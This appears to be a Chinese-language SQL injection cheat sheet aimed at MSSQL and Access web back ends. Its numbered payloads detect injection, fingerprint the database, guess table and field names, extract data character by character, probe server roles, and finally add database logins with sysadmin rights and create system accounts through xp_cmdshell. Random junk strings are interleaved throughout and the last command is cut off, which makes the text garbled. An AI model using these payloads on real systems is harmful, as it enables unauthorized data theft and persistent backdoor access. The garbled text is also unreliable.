1.判断是否有注入;and 1=1 ;and 1=2 *mH&Gn1
2.初步判断是否是mssql ;and user>0 &@FufpPw/
lL'Bop@
3.注入参数是字符'and [查询条件] and ''=' +:W/=C
d(h
ht#,v5oG>f
4.搜索时没过滤参数的'and [查询条件] and '%25'=' EeHghq
@Ko#nDEq
5.判断数据库系统 HQ wrb HS
=d+`xN*
;and (select count(*) from sysobjects)>0 mssql 0"Euf41
cc3/XBo
;and (select count(*) from msysobjects)>0 access w/:ibG@
T(,@]=d,DD
V>`9ey!U
5`@yX[G
6.猜数据库 ;and (select Count(*) from [数据库名])>0 3,EtyJ3[Bh
na*Z0y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \TYVAt]
?
6v74mIRn'?
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2I|lY>Z
v}id/brl
9.(1)猜字段的ascii值(access) f'bwtjO
~!M"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 );h
XD"
4t4~>
(2)猜字段的ascii值(mssql) @+1AYVz(k
6J_$dzw
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ZuZCIqN
D^a(|L3;
10.测试权限结构(mssql) :wEy""*N0
q&}+O
i9V,
c$lZ\r"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !x\\# 9
.s?^y+e_
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- :sw@1
z`eMb
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- GXk
|p8
kkW }:dBl
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R\Ckk;<$
,B /b>i
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8Q"1I7U
Q,Y^9g"B`~
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- E^A!k=>
>vR2K^
;and 1=(select IS_MEMBER('db_owner'));-- 6$kh5$[
I0><IaFy
ef!f4u\
tv Zq):c
11.添加mssql和系统的帐户 lon9oraF'
-r]L MQ
;exec master.dbo.sp_addlogin username;-- 2Q7X"ek~[
;exec master.dbo.sp_password null,username,password;-- a]Y9;(
2 <@g *
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- -PU.Uw]
gyPwNE
;exec master.dbo.xp_cmdshell 'net user username password B&B